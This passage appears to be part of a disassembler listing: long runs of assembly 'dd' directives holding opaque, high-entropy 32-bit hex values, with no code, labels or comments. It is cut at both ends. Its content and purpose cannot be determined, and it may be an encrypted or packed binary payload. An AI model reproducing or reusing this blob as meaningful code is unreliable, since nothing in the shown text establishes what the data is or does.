0A8006FDDh, 3426438Bh, 92E5D339h dd 6CFCF8h, 0D1E042BAh, 5A76601Ah, 7D03BFF0h, 5EB2412Fh dd 699C69Fh, 62E5AA3Bh, 0C6120CAh, 550E4908h, 0C2E19C21h dd 39117F0h, 566DF65Dh, 400EA578h, 7C8764DCh, 0DFFFD300h dd 1D49D239h, 8357568h, 1A870C21h, 885D5EC0h, 6F3A7450h dd 85B0002Fh, 6AFD28ABh, 0BA008175h, 0BE143039h, 8D9F12h dd 207A9617h, 1CC56FB7h, 0E5A03B0Ch, 472A00Eh, 2312DD0Ch dd 562490E1h, 2800607Dh, 0C6481A79h, 0A90155h, 466D0CE0h dd 40B7B96h, 0AE000EEAh, 0BF7594ECh, 7F4A2260h, 25983ED6h dd 9C516480h, 0C08FA96Eh, 7E79691Fh, 0FA5D007Eh, 0ECBF35CCh dd 1727002Fh, 18C00DE3h, 0D2001C6Dh, 5AD32159h, 0B87F900Fh dd 292B00A5h, 0CA8742Dh, 861EEF45h, 0E18EBFDEh, 8084B424h dd 11967673h, 806E500Bh, 8A66612h, 527C2188h, 0AD8A9607h dd 85E0FA46h, 44DEEE23h, 0F100B78Bh, 139DC6B3h, 194AA7h dd 891AD063h, 0DCC723A8h, 0A08B449h, 0F8C559B0h, 0D42050B9h dd 63C94000h, 1E7C5A05h, 5062019Dh, 0B1A888B8h, 0B7E0406Bh dd 0C92A4CB6h, 7500B4D6h, 0C80A157h, 1DE5C072h, 18BFFA54h dd 0F2221E8h, 88F6A100h, 7D14A90Eh, 8FE000C8h, 0EADF7FB5h dd 5C63D3DDh, 0A0479381h, 0C0E4AC06h, 7B1DC111h, 2148263Ch dd 95E3318h, 0A12100BDh, 8D8F7B25h, 840E4FFDh, 33F75F46h dd 5D813E18h, 20E30013h, 88758E6h, 261C14FCh, 9400DF79h dd 0EEB7A84Dh, 88736062h, 74E90886h, 0CE2BC3Eh, 188E4F0Eh dd 4C071B83h, 1810A068h, 2C00EF27h, 8AFE395h, 771D39F9h dd 0B440EB48h, 2BE4C301h, 54151E2Eh, 0A70940A6h, 0B31003ECh dd 2043900h, 0AFB266D1h, 3557418h, 80A917B1h, 20986D16h dd 9400259Eh, 0AA6A89BEh, 148972Eh, 332DA558h, 0D4DB0E7Ah dd 89399CD2h, 92F900ECh, 2E183AE2h, 0FCBD1CA0h, 761807Ah dd 0C6058F3Dh, 0C5F47801h, 6E9E088Eh, 7980E6F0h, 18950040h dd 5E36FD3Ch, 107AF5Ah, 9906DCB2h, 7E43E510h, 9A181880h dd 3C720F4h, 81FBBA80h, 4CEFD028h, 9A11C160h, 3B35A3Dh dd 0E97DAF43h, 8303F3Bh, 45842194h, 7F51005Ah, 0C866950Bh dd 0E8240CBFh, 0F61EE146h, 0EF54A0B0h, 1A9F4052h, 70E5A530h dd 0B82C6847h, 0B26D003Ah, 0CB751FC9h, 6A1B96C8h, 2398F82Bh dd 480EEA90h, 4744045Ah, 81229562h, 0B8FE6350h, 0E74DFAC2h dd 1EC51980h, 90B3F0A8h, 4374A30Ah, 8420E2DEh, 86BDED80h dd 99F7201Eh, 0A9252200h, 0FAEE6D2Fh, 0B52D0023h, 43D8926Fh dd 9E48BD1Bh, 0A0DF0172h, 20C8190Ch, 8072C76Ah, 0BA84E386h dd 24C0E200h, 23FCDDEBh, 3AEE895h, 4BEDE01Bh, 21A87814h dd 0D30390C3h, 0D6403993h, 4655B015h, 59700D7h, 0BCAC84E8h dd 0DD00340Fh, 75317A4Dh, 0C0EF2630h, 0EE7E0E38h, 0C41268CEh dd 7600AA70h, 24694D1h, 79C000ACh, 915DC741h, 0ED7B135Eh dd 6750B707h, 0D9F0D045h, 30FD9EACh, 5B88B2A9h, 2B663261h dd 0E618A28h, 0B5675222h, 6CD53098h, 3E1F3604h, 97C0BCFCh dd 3A95123h, 4D6D5E8Dh, 83C3F7D5h, 1771000h, 7B4AD44Bh dd 903200AEh, 160C8CE2h, 0EB006997h, 0F103DC52h, 30FBA94Ch dd 0E371D2A3h, 630586F6h, 0FEFC4EDDh, 8926DB83h, 0F0E85DC4h dd 0DD50043h, 6AE1C322h, 503E4A37h, 0E3307351h, 0A881087h dd 9154066Eh, 5926A2FBh, 39E17230h, 1D68B42h, 0D3AE894Eh dd 0ECC6E396h, 950CC077h, 29BC72F0h, 0C20B074Ah, 60F88545h dd 0AFAA681Ch, 7FA03C00h, 305A64B5h, 9C7850DAh, 7184076h dd 2B0091F2h, 0E8217D20h, 0C174C8h, 0F0C0F214h, 2E7AEE4Eh dd 7EF6C00h, 6739C206h, 0B3A83C95h, 0F27F7700h, 6D8380BDh dd 9432030Ah, 0C31EDFB1h, 0DD6365CFh, 0FE899F84h, 68064180h dd 58D60099h, 8634DBB7h, 800FBB2h, 0F82C593Ah, 8B042Ah dd 9B48C0BFh, 24E70EE4h, 0CC44E601h, 0BE89F8F5h, 3A0089BEh dd 0D058B14Ah, 0A050F67Eh, 30C039DDh, 68ED3435h, 0DC5005Ch dd 3F0FF4DEh, 10069F8h, 6B2A505Ah, 1D7EF651h, 8149B333h dd 0DA313F61h, 0CB198838h, 2DDE80FEh, 0EBE77024h, 68934202h dd 908DF7EFh, 0C2FDE88h, 0CA5F67C0h, 35006810h, 3EE1955Ah dd 13AFD23h, 0DCE89A9Eh, 0D4F05075h, 7688B1Dh, 0EC00FC48h dd 0D03BC8C7h, 23CB0F6Ch, 0E860A8DAh, 37C29321h, 0AE80F800h dd 6D2936B3h, 0E02800C5h, 41AB6871h, 330EA0B7h, 5D23F467h dd 0D925520Eh, 0D9409848h, 3AF2C6CFh, 8600E532h, 997152D7h dd 8A0F5868h, 800639B0h, 0F5D46FF6h, 163E866h, 5229231Ah dd 0F060CB3Bh, 3304961Bh, 2772535Fh, 0DABD69C1h, 698F24C5h dd 96E03D0Ah, 0FD77729Bh, 0C4C83F61h, 0D18041A3h, 0AC307169h dd 282E920Eh, 0C701E022h, 17A4BE96h, 0C4E2A08Eh, 6731C5CCh dd 7461803h, 86DA6FF7h, 0C6D60069h, 899E7BBFh, 970CA09Fh dd 0F8D0EDDCh, 0B39006Ch, 6AD415FAh, 4B13A20Ch, 0EE00DF93h dd 0E05BD909h, 0E0300B8h, 0B1C7204Dh, 9E0068DBh, 832481A8h dd 174EA87h, 459B0F6Ah, 0E03E147Ah, 0E6E8BC73h, 51221500h dd 0E7039513h, 4FB30940h, 0CA0674D2h, 697A18A4h, 16B73301h dd 9C4A773Dh, 786676E0h, 0CE2B180Bh, 4514296Eh, 0F722918h dd 0EDA1FB60h, 1E5160h, 715E14Dh, 495543Fh, 5D6F600h, 0FAFC911h dd 7A30C3D0h, 282133BAh, 26BC0037h, 0AF9DE727h, 8C3ECA7Ch dd 637860F5h, 0E7B9E63Ah, 8C1CD1A1h, 34193B67h, 0A9C0CA60h dd 0A3DEF1Fh, 0F4A1DE24h, 0E377034Ch, 0C00C0C89h, 0B861FA93h dd 0B3C485F4h dd 81B9D140h, 0A01DCFD7h, 46C1E416h, 513C3A3Bh, 7E142080h dd 3EF7FA6Fh, 3213670Fh, 240D80F6h, 7F8DE006h, 0B143671Ch dd 0E09DB73Bh, 0B81F1AF4h, 4C88500h, 6BCBEBBAh, 6F51C638h dd 7F0731A8h, 77D1A929h, 79BCE7C0h, 0F638000Dh, 9F5C7BD0h dd 1B06A26Fh, 271364FEh, 79C0079h, 9FD7CB17h, 1B5052EDh dd 944CDA0h, 12BB2669h, 0BC3D0000h, 0DCAB2245h, 10264300h dd 3C25944Ah, 0B092F6A4h, 0E7AF0C54h, 0DE797BBAh, 0A8F2C514h dd 1352224h, 6F921D43h, 0D15CF1A6h, 3C18059h, 3885E4B9h dd 0F3FC35h, 9119F4E8h, 0D70E18B0h, 5D5CDD00h, 61D1CFD2h dd 0F9CE008Ch, 0F1860D53h, 0EF14C714h, 0C4B55Bh, 5FDBA069h dd 74271EC1h, 0A449018h, 3C9A6022h, 9DC7809Ch, 0B247E785h dd 34009BE2h, 0CDC4D3C6h, 0E0955832h, 12AD7C93h, 0BEA6B3h dd 3A57F5FEh, 0C000D343h, 0F9EFB4E6h, 515EA07h, 0D6CFFBDDh dd 0AF298061h, 3E603CA5h, 0ED1A1669h, 0ECEA3145h, 8175B370h dd 1EE01DF1h, 0AAC4BCEBh, 98771D1h, 654AB39Dh, 0C7C06C0Fh dd 29F1AFA6h, 2834FB48h, 0F60B0BCh, 0E8DD6741h, 0C68DF3Dh dd 2D19AFC6h, 0A748E590h, 9B607F64h, 8EFB5E89h, 96EA009Fh dd 0F3E18736h, 2A3B8AD7h, 9E6D8058h, 6FAFA251h, 0E00F50FFh dd 8B4900D8h, 17F88FB2h, 29003D43h, 1A269BE0h, 8D7F46h dd 0CF4A2B19h, 95A563F3h, 1D640D4Ch, 4400F1F2h, 1711C39Ah dd 0FB6D013Dh, 2B704E40h, 80DBD141h, 0CE238121h, 695132h dd 0CB5A9487h, 76EAB0A5h, 0A3CF8E01h, 0AB959834h, 9A45E0h dd 1C570BE3h, 0F7AC4C7Ah, 0B5A30E00h, 8312055Dh, 6DE40314h dd 179F95AFh, 0F1906064h, 3CE80863h, 448CF36Dh, 1A0F4C3Eh dd 0A2F0AF17h, 0F7CBC81Ch, 61EE5E60h, 0E3034FECh, 764D446Eh dd 57910078h, 82D07C32h, 731BD50Ch, 67309C9Bh, 41F42028h dd 826AB841h, 91D84E11h, 0AEAF8037h, 0CC9F243Fh, 2D516008h dd 3191F000h, 0BE4443Eh, 0AC985454h, 42048CE7h, 436D3617h dd 3220D162h, 0FAA4171Ch, 3404F043h, 4485298h, 80B1B0h dd 0A8E69A7Fh, 4811C08Dh, 5B7BF9DAh, 0E7AEC200h, 65FFF0Ch dd 0CB4F1C7Fh, 0D524407Eh, 44476163h, 8D00867Ah, 0ACD7B578h dd 902C02h, 0FB837F37h, 82F7B4CDh, 80CA6C3Fh, 0A943F42Ah dd 78E870h, 7329EEF3h, 6A462664h, 17546D00h, 6384DB9Ah dd 0A0AB3A49h, 214EED00h, 0C4532065h, 644BC103h, 80D0A777h dd 9B5E68h, 1CDBE6D5h, 7966AD7Eh, 610EA9B0h, 60AAD23Eh dd 41296EFAh, 209A1DC9h, 425EC64Ah, 1300A26Ch, 0E7E05768h dd 89FB62h, 3B0212BDh, 0CF4D78B0h, 0D7A19905h, 0E81998F1h dd 45BC111h, 0A5460E83h, 2A103Fh, 47E8E155h, 914508h, 3B8AD983h dd 16BB2FB5h, 25C3DD02h, 8078FE67h, 0D20D02F6h, 3BBE0064h dd 0DD4FED69h, 0E00756Fh, 91264986h, 0B515EBh, 0D8F7A211h dd 0CCD2B8Eh, 3CCA7A00h, 0D52FAF5Eh, 7F73D2h, 2C3D44D3h dd 1AF1618Eh, 0D615BA0Fh, 685A80C2h, 98EE9Ah, 0A39CE8B2h dd 940604DFh, 3B193Eh, 0A4C24331h, 12045BBh, 0EC71BF8Fh dd 0FC1A248Eh, 620037B9h, 0DBC61978h, 0E5B72Ch, 3CB88D08h dd 887BD429h, 0F826C400h, 9B7FE6B2h, 3E8900FDh, 2209BF35h dd 740C4185h, 682A2D93h, 81A000B9h, 0ACDE179Dh, 0F53073BFh dd 0E22231A2h, 0E071003Fh, 8402BBEAh, 0FB005AEBh, 0BF4093B4h dd 0C4D168h, 0E7B75EF3h, 4A0A4C1Eh, 41C79D0Eh, 533507A6h dd 0C2458BC0h, 18E17B79h, 10731D0Eh, 0D801F97Eh, 0CF2B9738h dd 0E0D0A033h, 0A3D400C8h, 0C9F21F5Bh, 8414E71Eh, 0FE89EB3h dd 80A48F23h, 63EF3489h, 455E00D4h, 0C20AD73Ch, 0ED00274Fh dd 56CA38B1h, 1640401h, 31A3301Fh, 0F86BCFD6h, 0B2FE9D53h dd 85F46500h, 2068FA8Dh, 0FE665016h, 0F03A1FD2h, 40A0122Bh dd 0AECAD628h, 9F00BD44h, 0D4F2362Fh, 0F1A842h, 0F72B12C9h dd 0BFB37721h, 8FA91B00h, 0A401725h, 9F680065h, 6C1587CFh dd 5F5C6BE9h, 648E002Eh, 7AC1AF7Bh, 97E6A3h, 1C211F8Ch dd 255399EAh, 8A073F79h, 0AF8E6614h, 0F31F400Fh, 0E3C3F6h dd 0DF8BA67Ch, 6BF7056Fh, 43B9DB00h, 984682A4h, 8784A807h dd 6E531FDEh, 4E7F1EFAh, 1AA0BD55h, 75779BC4h, 73C24702h dd 409A2841h, 0D8A598h, 0F0CF7A92h, 0F85F2360h, 225C42FEh dd 85DA07DAh, 1BD18479h, 99F83643h, 45D500A0h, 76A2DD1Ah dd 66144DC6h, 82B52Ah, 1D0591BFh, 7AE98FEEh, 32BA06E3h dd 18905C44h, 0E55DE71Ch, 273EFD81h, 0D0F98908h, 0BEF6C040h dd 2CAA4820h, 0BD95A400h, 3AFA63DAh, 0D02E7D00h, 0C37F86Bh dd 45EA0338h, 54E60908h, 69533298h, 99B4A600h, 0A21D27B5h dd 221A183Bh, 6494A6A7h, 557DE62Eh, 0D5181704h, 899014C0h dd 0C98700DCh, 9A698E19h, 11004379h, 0CE39C10Ch, 723C88F4h dd 39B076F9h, 3500EC01h, 0C181575Fh, 46003AD0h, 3779A184h dd 7270BD05h, 916A0033h, 0E416C209h, 84A37E59h, 0FF07FA98h dd 1CD70103h, 0C5E047D6h, 61C3E000h, 63E449h, 50A969F1h dd 319542A0h, 2C200460h, 8886BCh, 0B17BD565h, 102F7E4Ch dd 0A46F1400h, 0E947EB0Bh, 80CF4C85h, 0BFCB9081h, 24D8C939h dd 77038658h, 5491F7E7h, 0F9CCD05Eh, 4C4B39BCh, 5DE04280h dd 0EABB1A3h, 3FADA100h, 1A254D3Dh, 7EC40040h, 1B69C684h dd 0DF3A9D1Dh, 2B900B97h, 2A1A005Eh, 6E73CDh, 583A3FE9h dd 0E72634CFh, 4896A404h, 6D808232h, 9F41DAh, 9B047560h dd 0E3EA1ED6h, 68C2500h, 0E6FA2B6h, 5C8700BAh, 3B140B2Eh dd 0F0099ECh, 0D7F9653Dh, 0F62CD4Fh, 1C419B96h, 0E786405Dh dd 0AF716A5Fh, 75E1170Fh, 687EE054h, 0F0D29483h, 48E400FDh dd 0F0BAA2BCh, 0CE00EE78h, 0FF99D46Ch, 3288B92h, 8036E130h dd 0BCB81E57h, 0CE001521h, 65CA69B4h, 0EF37ADh, 8BA4D86Dh dd 7A22AB2Ah, 7CB65600h, 75AD50B8h, 0AFAE09BFh, 0BC0391Fh dd 8E005E3Dh, 0DAEEE1E5h, 0EBF7269h, 0D3716BF1h, 14B32FE0h dd 2601F27Eh, 434AD688h, 449CE921h, 0D562C0FAh, 0A6638B0Bh dd 8A08F400h, 2668417Ch, 9EDB0042h, 0E0E962B9h, 350E5F57h dd 80C024BDh, 0A06AF93h, 396E0B6h, 0D7332CEBh, 0EEA89DCDh dd 0FC098B8Eh, 29E2B8F7h, 4A0D0010h, 16E1CCh, 8DAA6ADCh dd 26189CA9h, 3F36091Dh, 0B73C1BC0h, 8070A8h, 0BA6F9D05h dd 0E2B0733h, 6A5856FEh, 3C9E0194h, 947A374Bh, 43C6F4h dd 8782AA42h, 18AC2D4Ah, 2804757Ah, 12A23302h, 0E713E0D1h dd 0C673E0h, 58E1EA3Dh, 0B0A2DA02h, 34CD0300h, 0A63653D9h dd 0A156001Ah, 26D5891h, 2C016AB6h, 1990C242h, 35308222h dd 0F5EB0489h, 0C32EFC4Ah, 0ABD0E458h, 0A200CC46h, 28480B5Eh dd 70A3FFh, 0FD31C0AEh, 0BB7AD2A8h, 6004075h, 973FB83Dh dd 123FC12h, 58F85AB1h, 0EC64E072h, 821D4C96h, 27D1917h dd 0FDD7E207h, 7143DDh, 0BF91C129h, 0E1859417h, 8DFB0B16h dd 45CC0880h, 0EA2C3FBCh, 0F5F61D81h, 608E3712h, 5F002DCFh dd 1ADEFE97h, 17008EBh, 6B4F690Fh, 0C8B0CCCBh, 4400685Ch dd 86518C42h, 24F38Ah, 37487D2Ch, 29B9300Fh, 0E920D100h dd 5574E1C5h, 0E5B500C8h, 0DED65AD4h, 4800CD33h, 81204684h dd 15B9DCBh, 2EE1E706h, 20494A86h, 3E26BB96h, 0F03FC898h dd 120F7A70h, 0E07265D0h, 0ECFC609Ch, 0D5580BABh, 60013034h dd 0CC3169D9h dd 0B200822Fh, 95730653h, 0A47C42h, 64FC4376h, 56A3A844h dd 7E1D5C00h, 0E7837191h, 0E4BF0E92h, 66C017A6h, 0C35B2F4Bh dd 35E3BE00h, 0D73D779h, 76E000A1h, 5827AD75h, 96262DCBh dd 3B093195h, 99F5000Ch, 4C610412h, 725819h, 0B2AE8206h dd 9850BB45h, 46DC6A0Eh, 0CAA7A18Ah, 10206ED5h, 58FA25h dd 838E69B2h, 795E0ADAh, 0E0A1F63Dh, 33092188h, 3CD80014h dd 0A89A1826h, 43006460h, 885FD22Eh, 9098EB8Fh, 36AF02A0h dd 75726116h, 0E850E069h, 0D800B709h, 92B447D4h, 0A85164h dd 0D176754Eh, 0D5A5748Fh, 0C878B204h, 0F1C0AAFDh, 4BA125h dd 20310CC7h, 1EDFFE85h, 0F41F1BE6h, 6E12F52Eh, 6A996080h dd 0C0E00089h, 856C4DA2h, 1AB0FBC5h, 0DD6E90C7h, 0A1C0B884h dd 94D22920h, 5F540080h, 85D0F4A5h, 0F0F52D09h, 3F800084h dd 7218A70h, 86562AE0h, 0FC26006Fh, 51D89089h, 0E9D3EC60h dd 83284040h, 0DA6601C3h, 0B91D8CBDh, 2CF8F717h, 4100B7DBh dd 0ACECAD20h, 48DEF3h, 9E4FD599h, 0D46D6222h, 0B08C90C0h dd 1F172685h, 0C078A514h, 0BE469CBDh, 92073807h, 98962F63h dd 0CB15C0CFh, 0F8D66D1h, 79955C09h, 0C0135F7Fh, 78EA8381h dd 0C00EE8Bh, 27D12B56h, 3C9C23h, 0FFF9F393h, 0BED47C62h dd 80FA0938h, 0E323ECDDh, 0FC880Ah, 0A63598F6h, 0EFBD28CFh dd 0DFDCBB00h, 68EBE9DBh, 0EA030067h, 4BFA1751h, 0DD1CEF4Fh dd 33C5E4FCh, 94D06495h, 11DE06Fh, 0A262F206h, 346E525Ch dd 2407DCACh, 9E7CB261h, 0A7F05BC2h, 8B74110Ch, 31624C48h dd 781884F6h, 42876D31h, 622F340Ch, 1DB720Dh, 4825F96Eh dd 5F5478D0h, 1C0040B4h, 6DA833A4h, 0CB741653h, 5A032220h dd 502259B7h, 0FD60F6E3h, 6DA21C40h, 671B1DEAh, 1E3E1DBAh dd 0E2B1E35h, 0F3C2246Ch, 0CC58EE25h, 0F9029205h, 81DB71Bh dd 9F1851A6h, 586A91h, 0DA96E3D2h, 0BF469820h, 79360E30h dd 65F66DB6h, 0D759C8B9h, 44C8C3C4h, 68E75780h, 0E5D11D1Ch dd 6572807Dh, 1FA12248h, 0F27877h, 0D655B66Eh, 73FB40DDh dd 0EA61C218h, 960C189h, 1819C615h, 0B0205001h, 80B5D1C0h dd 15B8E421h, 4320754h, 0F59FBDD3h, 20EC90ECh, 6E6F95EEh dd 9814AC58h, 778C0022h, 37A78654h, 0DA1A5EA4h, 5A88922Bh dd 288D7434h, 7D647BF7h, 5F631EAFh, 0CCC55C6Fh, 0DD08E677h dd 0C78321DCh, 90659363h, 0C33842h, 0CC3217C0h, 7F080CA8h dd 0BF4EED00h, 50A7EB62h, 544C0AE0h, 398E382h, 9BCB838Ch dd 20D71800h, 4F5B55Eh, 531D00EDh, 98D51358h, 201F634h dd 2C409E7Dh, 6FE0950Dh, 301000FFh, 775A7F47h, 0D000342Eh dd 0AE4F2B0Ch, 1D581DA6h, 9D7BAA19h, 4DD74012h, 1C2B7EB5h dd 220384B8h, 5FB9CCA8h, 437BF8CAh, 4DBD0797h, 10A604BEh dd 0E24E664Bh, 411CF68h, 0AAD214C1h, 0F6451080h, 0C48344CEh dd 0D5078F00h, 0EF7DD653h, 1E990024h, 85ECDC40h, 5900E14Ch dd 7E1BB4DBh, 1C8ECF9Bh, 0C1613CC6h, 47880CF9h, 0C1B68033h dd 40F00E0Dh, 3B4407AFh, 0F0DB437Fh, 2C74A6EFh, 52D6BD00h dd 0FB19D242h, 0D1E80071h, 0FA6F096Ah, 0C9006C3Eh, 0A8E78B94h dd 3E961D01h, 0D3002B0Bh, 0BF28CDEAh, 6B267377h, 9100F545h dd 34948F3h, 0EDC424F8h, 1913E7h, 3D8E39B5h, 0FC006D34h dd 6FEF719Ah, 0E9468Bh, 0F73F883Ch, 4C9D734Eh, 809F9430h dd 0B62614h, 668D62BAh, 178F8A5Bh, 47114F00h, 1B65CA37h dd 25531D87h, 3AE1002Ch, 0D775A105h, 80A66800h, 5E8CBCF4h dd 0FAF902ECh, 0CEC4E203h, 447DB8A2h, 1C6E84A1h, 667080EBh dd 0E79E4D75h, 0F0590A2Ah, 80D0A358h, 693AD1BFh, 0AD01B95Dh dd 1E8DD75Ch, 44FCAF53h, 187679h, 0C2671CAAh, 0A84D5A42h dd 0CECDFD1Fh, 0E5144104h, 343CC780h, 0DEB3007Ah, 512B030Bh dd 700001FCh, 0E80A8D4Ah, 1C682969h, 40936EBCh, 40F6DC7h dd 143E8801h, 0FEB7803Ah, 400C9B4Fh, 0F47700B9h, 0E936225Ah dd 553A43ACh, 7619E00Fh, 538DCCh, 853C37D9h, 7B6A2DE4h dd 0D1A0720Ah, 0F4A4B048h, 0D9C29D1Ch, 40AAC02Ah, 1D83C00h dd 5F0B9B88h, 0F10ED1B2h, 934CFC6Fh, 570CF400h, 3CBBB6F0h dd 0F2D30010h, 0A4AFD93Ah, 321DD27Bh, 0A9926380h, 7EDC6400h dd 1F2E3A08h, 4E87667Fh, 0B9E1BC83h, 80933370h, 6E4EF71h dd 3D4C0C7h, 3980C682h, 1BF02ACEh, 1F74C4CFh, 373E9F00h dd 0A0F5B470h, 0D3807E5h, 5231924Fh, 0B722A7C0h, 89D72087h dd 5E4070Dh, 3E7C3400h, 5575976Eh, 0F1980F95h, 0AD007F84h dd 92515863h, 1A3BC901h, 73ECA120h, 1C13BBE4h, 40F7AA3Ah dd 69684923h, 821807F8h, 7AB99A02h, 0EFD91EC6h, 1088F05Eh dd 0E980A60Bh, 4BC100D2h, 0AA04A08h, 0DA785B17h, 0AFA45F00h dd 60863DCEh, 407207h, 66B3D226h, 6389731Bh, 5D0029B0h dd 9ACCECEFh, 0A867C7h, 0B7D48210h, 0AAF17DE8h, 0F5E0E40Fh dd 0DAE7A0ABh, 9C77F2h, 84B023DBh, 57DE2B47h, 0EAED6F18h dd 973A8h, 0DF90AC3Dh, 0F43B940Ah, 503CCD00h, 6E1B819Fh dd 649A3E5Ah, 1CD9EF00h, 3152F118h, 15E0A24Ah, 1FD40024h dd 0A7F98843h, 94E15747h, 0DDC331h, 62DAC2FCh, 0D7CC5Bh dd 0CE93BCDCh, 5660A46h, 0F1507805h, 448742ADh, 8916A101h dd 0FE1AFAC4h, 1E8403BDh, 1DAB113Ch, 52E099E8h, 3A819500h dd 6A2CED35h, 7430044h, 2909111h, 550F353h, 0C3078FB4h dd 399EF9E9h, 4118B4A1h, 2D8AF080h, 0A94893C4h, 0B11172Ch dd 53548F00h, 0FB07CAh, 3968B401h, 7A1E5E71h, 0D7646700h dd 3D6B5621h, 0D08E63D0h, 43B0F26Ah, 0B900C3BFh, 0AF8A4ACh dd 140929Eh, 1738F5AAh, 0D947A083h, 0F240249Dh, 0EE665Ch dd 2F2D2E6Ch, 64182CEh, 0C277A3EDh, 9903A04Dh, 0D714DAD9h dd 3474D8B8h, 0EAC83BADh, 0C6E6880h, 4C73B405h, 9C457E00h dd 0BBCA77F5h, 4B990EC8h, 98206FABh, 21AABE6Bh, 209B603h dd 0A87F4A90h, 1E845E83h, 0C0CE4CBCh, 88541AA0h, 6098D129h dd 0E7809900h, 96C4772h, 677B0EE6h, 0E02066A2h, 0D80684ABh dd 12DD180Fh, 803ECE22h, 1114FA79h, 2BA8002Ch, 1CA5C7DCh dd 47001F4Fh, 0A94D3171h, 0F828E602h, 0A17500F2h, 4B3249D0h dd 3100C8F1h, 9313E747h, 14D5A291h, 0E4A06C17h, 6106EB39h dd 10A1390Ch, 15C1DC0Eh, 0FFB2203Bh, 68100Ah, 45BE6F54h dd 77F47DA7h, 0D7A25500h, 6EEFED13h, 0B8FF006Dh, 5B37E7B9h dd 0B200FCBCh, 1380372h, 220CAAh, 51B9AF5h, 0D0BC9CC2h dd 0A7C9AF00h, 9BAAE644h, 2C60139Fh, 0EC00EA0Bh, 798FECD9h dd 707200A2h, 82280693h, 2E01F5EDh, 0CCE28136h, 842010EAh dd 0E5DF8F2h, 0D5A9F8ABh, 0FBADBC80h, 4D000D33h, 0C01D1EC1h dd 6902BDh, 0CAE45F04h, 10AD924Ah, 1F38F858h, 0F8EB56h dd 0D08F963Fh, 0FCD7660Bh, 0C3D50053h, 672426FBh, 800018A9h dd 92CBE81h, 0BB6FBCh, 8E70FEB3h, 56193BF1h, 0AD8FD90Eh dd 500096B1h, 4E9B6C81h, 94BE006Eh, 0E3E27E9Ah, 727979F7h dd 754D5B00h, 4F645AAFh, 59180002h, 0B10FDA6Bh, 700D3D6h dd 0ECF6C8A9h, 46303Eh, 77815423h, 4CF59B1Ah, 2C4BC058h dd 468B9CCBh, 54AFC4h, 36EC851h, 0A3920665h, 18FC186Ch dd 0EBB93103h, 86353Bh, 54EC0111h, 28490511h, 0BBE83190h dd 3ADA55Ch, 75ABF58h, 1B26B82Ah, 8D77162Fh, 0C2150063h dd 0D120484Ch, 4A213207h dd 19770D30h, 39EC6E0h, 50D0B2ADh, 3CB3C2A3h, 7A037CDBh dd 0ED864785h, 201CD083h, 1F07E52Dh, 0E6C5382Eh, 18250C00h dd 192F20h, 3B9097ECh, 0FCC70FDDh, 2BC54009h, 17A100FDh dd 75FE82h, 0C0B5E3Ah, 0E1CACC49h, 2144BE00h, 8F3E522Bh dd 8470002Ah, 0C2E4C68Ah, 0BD00774Fh, 64CC51CAh, 5EA4EBh dd 7EC1B3D5h, 8BD38F88h, 1BF24Ch, 40B86FFAh, 0C8D7CDAh dd 0B6FE83E2h, 4A024BD9h, 0D6FD5EAAh, 151852ECh, 0C8C0B21Eh dd 91203406h, 850031B8h, 0B00B16CAh, 3E3EDB5h, 7D8625BFh dd 0B4B85638h, 0D7027657h, 0DE15AFDBh, 314B4A3h, 0ECBC704h dd 7900B2ECh, 0B6C534C3h, 165C3242h, 15EAEB0h, 0E3C7FE8Dh dd 43F9E8A4h, 17E6850Ch, 2E2690A0h, 0C94102Eh, 9DC11614h dd 83E88600h, 930169F9h, 584F03FCh, 0CC8E33E5h, 0F0C1C900h dd 0DFAD08ECh, 3E230093h, 18142884h, 0AE00A3CFh, 0C285FF64h dd 0CE0DF97h, 22409C1Ch, 2800AA61h, 2918D076h, 0C8B0B50h dd 0CC14B446h, 2B005A21h, 0B30E1A9Bh, 1A79061h, 9409D629h dd 0ECBEF1ADh, 1C0CC4E8h, 91B22C0Bh, 0FC8400ECh, 97ACC9EEh dd 0B907AED7h, 81F2F39Fh, 0C490B0B4h, 0E1E22Eh, 6C23EC5Fh dd 47678ADEh, 34CAFB0Eh, 32778210h, 40DCACC1h, 0DB4D30EEh dd 50E8FA11h, 3E10C71Dh, 14380D06h, 327609B1h, 3F00C897h dd 1D9F7D15h, 8DA82100h, 0A21465ACh, 0EDD4A0BEh, 8A4A00F1h dd 0D1C204DEh, 0A6014329h, 0BB062366h, 64319869h, 45E8C4h dd 0B8F80E14h, 0B266646Eh, 44A06203h, 18940DA1h, 200C8C08h dd 6500974Eh, 0CA56AE6Ah, 17E5FC67h, 0E615D50h, 38C0CE39h dd 0AF6F7A42h, 71FE6300h, 0D2AD354h, 0B50F0027h, 9DDDD18Dh dd 0B73A5A90h, 0F8007DA1h, 3BFBB21Bh, 0EE0F7F34h, 39670CC6h dd 0C2219D42h, 21638E0Ch, 798119Fh, 24DE1B32h, 44030BA4h dd 0B5B1FB54h, 5A20968Eh, 207DE107h, 2DC08244h, 0EA4733Ch dd 8F188DEEh, 1E0BAA20h, 47078397h, 54BF9E08h, 0B4D79D70h dd 9879C7A5h, 0C073F2AEh, 785BCDC0h, 3169613Ah, 0A6E52154h dd 7DA2CD8h, 0CB0A8EC7h, 42373022h, 8900D01Eh, 2F5EDDB4h dd 5798B5h, 85BD19D4h, 2E46C426h, 74FDC500h, 9A279786h dd 0CCA00D8h, 1A8279B3h, 0A500C320h, 0C758F270h, 3E45968Dh dd 22BB9469h, 3D80EDB8h, 652CAFC6h, 76001BFEh, 90C79CBFh dd 84EADCh, 51E48621h, 2749E28Fh, 7EE3C000h, 5394B9B4h dd 14FA88h, 5062C423h, 9F9A35B2h, 0B66FC000h, 0AA218695h dd 5BE66Bh, 22FC8DC3h, 7D5F3926h, 0E0FA4Ch, 2978D36Fh dd 29FF6130h, 0F50427A2h, 1D4B0880h, 30E83048h, 0F718AC6Ch dd 0C0002EE1h, 136F8CCBh, 188465Ah, 19E66038h, 0D715C2E8h dd 2C94F7B8h, 10F329C4h, 63E2B500h, 0F201D731h, 0E1845C3Bh dd 93F881B6h, 0C10300EAh, 16FFB4E8h, 0DBE467A4h, 9FE3B003h dd 0B81EA5FAh, 312F5D7h, 700CE61Fh, 1A8083Bh, 6639A36Bh dd 55C28034h, 8DB91CF8h, 3C84EAF2h, 0DE80D914h, 3D0EA866h dd 6500F3D6h, 9EF68A0Bh, 0F840A1FFh, 0F89600C1h, 6C5113CEh dd 2A4C3E64h, 2231131Ah, 1C034600h, 3BAB12E3h, 5C008C54h dd 35A5D9D7h, 68011990h, 4AC8D476h, 97D06EF4h, 0AAA00E4h dd 99872AACh, 0C300CAC2h, 43554C39h, 357AE4Fh, 0D801035Bh dd 11984822h, 3E003197h, 